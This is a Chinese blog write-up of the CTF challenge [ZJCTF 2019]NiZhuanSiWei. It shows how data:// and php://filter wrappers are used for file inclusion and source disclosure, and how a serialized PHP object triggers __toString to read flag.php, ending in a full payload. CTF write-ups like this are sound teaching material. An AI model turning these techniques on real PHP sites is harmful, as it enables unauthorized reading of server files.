• 博客园logo
  • 会员
  • 周边
  • 新闻
  • 博问
  • 闪存
  • 众包
  • 赞助商
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
singale
   首页    新随笔    联系   管理    订阅  订阅
一道PHP反序列化题
  • 题目:[ZJCTF 2019]NiZhuanSiWei

题目源码:

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

三个参数:text,file,password。

if条件需要满足:file_get_contents($text,'r') === "welcome to the zjctf"

file_get_contents()

原型:file_get_contents(path,include_path,context,start,max_length)

作用:把整个文件读入一个字符串中。

读取$text路径的内容为一个字符串,并且要与welcome to the zjctf 相等;

可以通过伪协议来bypass

data://text/plain;welcome to the zjctf

也可以使用base64形式,以绕过某些限制

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

下一个if语句:

    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }

检查$file是否存在flag字样,没有则继续

包含$file指向的文件,提示有useless.php ,使用php://filter读取源码。 推荐一篇文章

file=php://filter/read=convert.base64-encode/resource=useless.php,
当然还有text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= bypass if。

解base64的useless.php源码:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

include(文件名)可以理解为,将文件的内容插入此处,并且对下面的代码有影响。

所以 我们整理一下:

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }
}
$password = unserialize($password);
echo $password;


根据提示:flag在flag.php。

漏洞在 魔术函数__toString(), file_get_contents($this->file)将$file参数直接读取,然后输出,然而 $file参数是我们可以控制的。

那么要怎么触发__toString()函数,读取flag呢。

__toString()是快速获取对象的字符串信息的便捷方式,似乎魔术方法都有一个“自动“的特性,如自动获取,自动打印等,__toString()也不例外,它是在直接输出对象引用时自动调用的方法。
  当我们调试程序时,需要知道是否得出正确的数据。比如打印一个对象时,看看这个对象都有哪些属性,其值是什么,如果类定义了toString方法,就能在测试时,echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。

__toString触发条件:

echo ($obj) / print($obj)

打印时会触发

字符串连接时

格式化字符串时

与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)

格式化SQL语句,绑定参数时 数组中有字符串时

需要把$password的参数填充为我们构造好的读取flag的class Flag序列化后的字符串,然后$password = unserialize($password)将我们构造好的序列化字符串还原成class Flag对象,在后面的 echo $password; 触发函数__toString,即可读取flag.php。

  • 我们已经知道源码了,所以我们可以写PHP脚本跑出序列化后的class Flag
<?php  

class Flag{  //flag.php  
    public $file = "flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
echo serialize(new Flag);
?>

得到 O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

  • 当然也可以手动构造:

    object 对象,4个字符,名字是Flag,有一个参数: O:4:"Flag":1;

    一个有4个字符串的名为flie的参数:s:4:"file";

    读写的文件名为flag.php,共8个字符: s:8:"flag.php"

    拼接起来:O:4:"Flag":1:{s:4:"file";s:8:"flag.php"}

现在,我们整理一下:

  • text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

  • file=useless.php,将class Flag包含进来。

  • password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终payload:

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

posted on 2020-07-22 18:55  singale  阅读(568)  评论(0)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2025
浙公网安备 33010602011771号 浙ICP备2021040463号-3